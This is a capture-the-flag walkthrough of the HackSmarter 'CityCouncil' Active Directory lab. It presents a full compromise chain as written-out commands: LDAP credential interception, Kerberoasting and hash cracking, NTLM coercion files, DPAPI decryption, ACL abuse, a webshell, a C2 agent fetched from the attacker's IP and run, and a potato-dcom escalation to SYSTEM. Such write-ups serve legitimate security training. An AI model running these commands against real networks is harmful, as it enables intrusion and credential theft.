Citycouncil
This box is provided by HackSmarter https://www.hacksmarter.org/
Objective / Scope
A local municipality recently survived a devastating ransomware campaign. While their internal IT team believes the infection has been purged and the holes plugged, the Board of Supervisors isn't taking any chances. They've brought in Hack Smarter to provide a "second pair of eyes."
Your mission is to perform a comprehensive penetration test of the internal infrastructure. Reaching Domain Admin isn't the endgame; treat this like a real engagement. See how many vulnerabilities you're able to identify.
Overview
CityCouncil is a HackSmarter Active Directory penetration testing lab set in a realistic municipal infrastructure scenario. The engagement simulates a post-ransomware incident review where internal IT has supposedly remediated the environment - but the Board of Supervisors wants an independent assessment.
The attack path is a multi-stage Active Directory compromise that touches a wide range of real-world techniques:
- Recon - nmap port scan reveals a web portal on port 80 exposing potential usernames and a binary download page.
- Credential Harvesting via LDAP Intercept - the portal binary is configured to authenticate against a hardcoded LDAP server. By redirecting DNS and running a netcat listener, the plaintext service account password (
svc_services_portal:PortAl1337) is captured. - Kerberoasting - using the service account, a kerberoastable user (
clerk.john) is identified via Bloodhound and the TGS ticket is cracked offline to yield the passwordclerkhill. - NTLM Theft via SMB Share - an email found in the Uploads share hints at an NTLM coercion opportunity. Malicious files uploaded via
ntlm_theftcapture the NTLMv2 hash ofjon.peters, which cracks to1234heresjonny. - Targeted Kerberoasting -
jon.petershas GenericWrite over several users, enabling targeted Kerberoasting to obtain credentials formaria.clerkandnina.soto. - Backup File Exfiltration & DPAPI Decryption -
nina.sotohas access to a Backups share containing.wimfiles. Extracted data includes DPAPI-protected credentials foremma.hayes, which are decrypted usingclerk.john's password and SID. - ACL Abuse & Account Takeover -
emma.hayeshas AD write permissions allowing her to take full control ofsam.brooks(a disabled account), re-enable it, and change its password to obtain a user flag. - Privilege Escalation via OU Manipulation and Potato Attack - Emma is given full control of the CITYOPS OU,
web_adminis moved out of quarantine, and a potato-dcom BOF is used from a C2 beacon to escalate to SYSTEM.
The box demonstrates a realistic lateral movement chain involving misconfigured service accounts, overprivileged AD users, SMB share abuse, DPAPI secrets, and web server privilege escalation.
Recon
We begin with a standard nmap scan to identify open ports and services on the target. We run two passes: a default script/version scan and a full port scan to ensure nothing is missed.
sudo nmap -sC -sV -vv -oA tcp 10.1.61.216; sudo nmap -sC -sV -vv -p- -oA allports 10.1.61.216The scan results reveal several interesting services. Most notably, port 80 is open (HTTP), and standard Windows/AD services are present including SMB (445), Kerberos (88), and LDAP (389). The presence of Kerberos and LDAP immediately tells us this is a Windows Domain Controller.
Navigating to port 80, we find a municipal services web portal. The site includes a staff directory or similar section that exposes potential Active Directory usernames - valuable input for user enumeration attacks.
The web portal also includes a download page offering a Windows binary and a Linux binary. This is a "services portal" agent - likely a tool that communicates back to the domain for authentication.
The download page includes setup instructions referencing a /etc/hosts entry, indicating the binary resolves a hostname (e.g., DC-CC.city.local) to connect to the LDAP server for authentication.
The site also mentions that the portal tool contains a hardcoded password. This is a critical misconfiguration - the binary will send credentials in plaintext to whatever LDAP server it resolves. By modifying our /etc/hosts file to point the LDAP hostname back to 127.0.0.1 (localhost) and starting a netcat listener on port 389 (LDAP), we can intercept those credentials when the binary runs.
nc -nvlp 389When the binary executes, it sends a LDAP bind request containing the hardcoded service account credentials in plaintext to our listener.
We successfully capture the credentials: svc_services_portal:PortAl1337.
Foothold
Validating Service Account Credentials
With the captured credentials, we use netexec (nxc) to validate them against SMB and enumerate accessible shares. This confirms the account is active and lets us map out what resources it can reach.
nxc smb 10.1.61.216 -u svc_services_portal -p PortAl1337 --sharesThe credentials are valid. We now have a foothold as svc_services_portal on the city.local domain.
User Enumeration with Kerbrute
Using the usernames gathered from the web portal, we validate which accounts actually exist in Active Directory using kerbrute. Kerbrute performs AS-REQ pre-authentication checks against Kerberos - valid usernames receive a different response than invalid ones.
kerbrute userenum --dc DC-CC.city.local -d city.local potential_usersSeveral usernames from the website are confirmed as valid domain accounts, including Jon.Peters and Emma.Hayes.
Bloodhound Collection
We run Bloodhound to build a comprehensive map of the Active Directory environment. Bloodhound ingests AD data (users, groups, ACLs, sessions, trusts) and visualizes attack paths to privileged targets.
bloodhound-ce-python -c All -u svc_services_portal -p PortAl1337 -d city.local -dc DC-CC.city.local -ns 10.1.61.216With the collected data loaded into Bloodhound, we investigate the users discovered on the website.
Jon.Peters - Bloodhound reveals that Jon.Peters has GenericWrite permissions over several other domain users, which can be abused for Targeted Kerberoasting later.
Emma.Hayes - Emma appears to have interesting AD permissions that will become relevant later in the engagement.
Kerberoasting clerk.john
Bloodhound also identifies a kerberoastable account: [email protected]. This account has a Service Principal Name (SPN) set, meaning we can request a Kerberos service ticket (TGS) for it - which is encrypted with the account's password hash - and crack it offline.
We use nxc with the --kerberoasting flag to request the TGS and extract the hash:
nxc ldap 10.1.61.216 -u svc_services_portal -p PortAl1337 --kerberoasting [email protected]We crack the Kerberos 5 TGS hash (hashcat mode 13100) using the rockyou wordlist:
hashcat -m 13100 -a 0 clerk_john_hash /mnt/hgfs/I/data/rockyou.txtThe password cracks successfully as clerkhill.
Accessing the Uploads Share
We validate clerk.john's credentials and check share access:
nxc smb 10.1.61.216 -u clerk.john -p clerkhill --sharesclerk.john has read/write access to an Uploads share. We use impacket-smbclient to browse its contents:
Inside the share we find an email. The content of the email hints at an NTLM coercion opportunity - specifically, it suggests that someone with access to the share regularly browses its contents using Windows Explorer, which will automatically attempt to authenticate to embedded UNC paths.
NTLM Theft via Malicious File Upload
We use ntlm_theft to generate a collection of malicious files (.lnk, .url, .scf, etc.) that trigger automatic NTLM authentication when opened or previewed. Each file embeds a UNC path pointing to our attack machine.
python3 ntlm_theft.py -s 10.200.50.236 -f Emma -g allWe upload the malicious .lnk file to the Uploads share. As soon as a user browses the share (triggering Windows to resolve the UNC path), we capture their NTLMv2 hash on a Responder/netcat listener.
We receive the NTLMv2 hash for jon.peters. We crack it with hashcat (mode 5600 for NTLMv2):
hashcat -m 5600 -a 0 jon_peters_hash /mnt/hgfs/I/data/rockyou.txtThe hash cracks to 1234heresjonny.
Validating jon.peters
nxc smb 10.1.61.216 -u jon.peters -p 1234heresjonny --sharesCredentials are valid. We now move to exploit the GenericWrite permissions Bloodhound showed us earlier.
Targeted Kerberoasting via GenericWrite
From Bloodhound we know jon.peters has GenericWrite over three domain users:
- Maria.Clerk
- Paul.Roberts
- Nina.Soto
GenericWrite allows us to write arbitrary attributes to these accounts. We can abuse this by writing a fake SPN to their accounts, making them artificially kerberoastable - this is called Targeted Kerberoasting.
targetedKerberoast.py -d city.local -u jon.peters -p 1234heresjonny --dc-ip 10.1.61.216We crack the resulting hashes with hashcat:
hashcat -m 13100 -a 0 hashes /mnt/hgfs/I/data/rockyou.txtWe obtain plaintext passwords for both Maria.Clerk and Nina.Soto. We validate all cracked credentials:
nxc output reveals that nina.soto has access to a Backups share - a high-value target.
Accessing the Backups Share
We use impacket-smbclient to connect to the Backups share as Nina:
impacket-smbclient nina.soto:[email protected]We download all files from the share for local analysis
The share contains two .wim (Windows Imaging Format) files - backup images of user profiles or system state. We extract their contents to inspect them offline.
DPAPI Credential Decryption
Inside the extracted .wim for clerk.john, we find an email from Emma:
The email references a DPAPI-protected credential blob - a Windows Data Protection API encrypted credential stored on disk. DPAPI credentials are tied to the user's SID and password, making them decryptable if we have both.
We first decrypt the DPAPI master key using clerk.john's known password (clerkhill) and SID:
impacket-dpapi masterkey -file AppData/Roaming/Microsoft/Protect/S-1-5-21-407732331-1521580060-1819249925-1103/de222e76-cb5d-418f-a1c2-7e4e9dfe29e1 -sid S-1-5-21-407732331-1521580060-1819249925-1103 -password clerkhillWith the decrypted master key, we can now decrypt the DPAPI credential blob to reveal the plaintext credentials stored within:
impacket-dpapi credential -file AppData/Roaming/Microsoft/Credentials/03128079C6E14F37F5AEBDD69E344291 -key 0xedfc873c4b843cb27b48cb55d829bc24c8d2be3fd50ce2aa7ba72b8da6ec65afd41412dfecd16f38a120cadf4089dabb9a1817874e37bbf0d6861117a39dfbbdThe decrypted credential blob reveals emma.hayes's password: !Gemma4James!
We validate Emma's credentials:
ACL Abuse - Taking Over sam.brooks
Bloodhound shows that emma.hayes has powerful Active Directory permissions:
We use impacket-dacledit to grant Emma FullControl over the sam.brooks account:
impacket-dacledit -action 'write' -rights 'FullControl' -principal emma.hayes -target sam.brooks 'city.local'/'emma.hayes':'!Gemma4James!'sam.brooks is a disabled account. We use bloodyAD to remove the ACCOUNTDISABLE flag and re-enable it:
bloodyAD --host city.local -d city.local -u emma.hayes -p '!Gemma4James!' remove uac sam.brooks -f ACCOUNTDISABLEWith the account enabled and our full control ACE in place, we force-set a new password for sam.brooks:
bloodyAD --host city.local -d city.local -u emma.hayes -p '!Gemma4James!' set password sam.brooks '!Gemma4James!'We validate access:
We log in as sam.brooks and retrieve the user flag from his Desktop.
Privilege Escalation
Gaining a C2 Foothold
Checking write access to inetpub (IIS web root) as our current user reveals we don't have permissions yet:
We pivot through Emma's AD permissions to gain write access to the web server. We grant Emma FullControl over the CITYOPS Organizational Unit:
impacket-dacledit -action 'write' -rights 'FullControl' -principal emma.hayes 'city.local'/'emma.hayes':'!Gemma4James!' -target-dn "OU=CITYOPS,DC=CITY,DC=LOCAL"We establish an AdaptixC2 beacon on the machine for reliable post-exploitation capabilities.
Moving web_admin Out of Quarantine
web_admin is currently in the QUARANTINE OU, which restricts its permissions via Group Policy. We use an Evil-WinRM session as Emma to move it into the CITYOPS OU using PowerShell and AD credentials:
$username = 'city.local\emma.hayes'
$password = '!Gemma4James!'
$secpass = ConvertTo-SecureString $password -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential $username, $secpass
Move-ADObject -Identity "CN=WEB ADMIN,OU=QUARANTINE,DC=CITY,DC=LOCAL" -TargetPath "OU=CITYOPS,DC=CITY,DC=LOCAL" -Credential $credsWith web_admin now in CITYOPS, we grant Emma FullControl over the web_admin account:
impacket-dacledit -action 'write' -rights 'FullControl' -principal emma.hayes -target web_admin 'city.local'/'emma.hayes':'!Gemma4James!'We set a new password for web_admin:
bloodyAD --host city.local -d city.local -u emma.hayes -p '!Gemma4James!' set password web_admin '!Gemma4James!' Executing the C2 Agent as web_admin
We modify the ACL on the AdaptixC2 agent binary (ag.exe) to give web_admin full control, so it can execute it:
cacls.exe ag.exe /E /T /C /G web_admin:FFrom the Evil-WinRM session, we upload RunasCs.exe and use it to launch the C2 agent in the context of web_admin:
.\_RunasCs.exe web_admin '!Gemma4James!' "powershell -c Start-Process C:\Windows\Tasks\ag.exe"Webshell Upload for Code Execution
An earlier email revealed that web_admin has permission to write and execute .aspx files from the IIS web root (inetpub). With our web_admin C2 session, we upload an ASPX webshell to gain web-based command execution:
Downloading a Fresh C2 Agent via the Webshell
Using the webshell, we download a new AdaptixC2 agent binary and execute it in the context of the IIS worker process:
powershell -c "wget http://10.200.50.236:8443/ag.exe -OutFile C:\\Windows\\Tasks\\a.exe"
powershell -c "Start-Process C:\\Windows\\Tasks\\a.exe"We now have a beacon running as the IIS application pool identity.
SYSTEM via Potato-DCOM
From the C2 beacon, we execute the potato-dcom BOF (Beacon Object File). Potato attacks abuse Windows COM object impersonation - a privileged SYSTEM-level COM object is coerced into creating a process, which we hijack to gain a SYSTEM token.
potato-dcom --run C:\\Windows\\Tasks\\a.exeThe potato-dcom attack succeeds and we receive a new C2 beacon running as NT AUTHORITY\SYSTEM - full control of the Domain Controller.

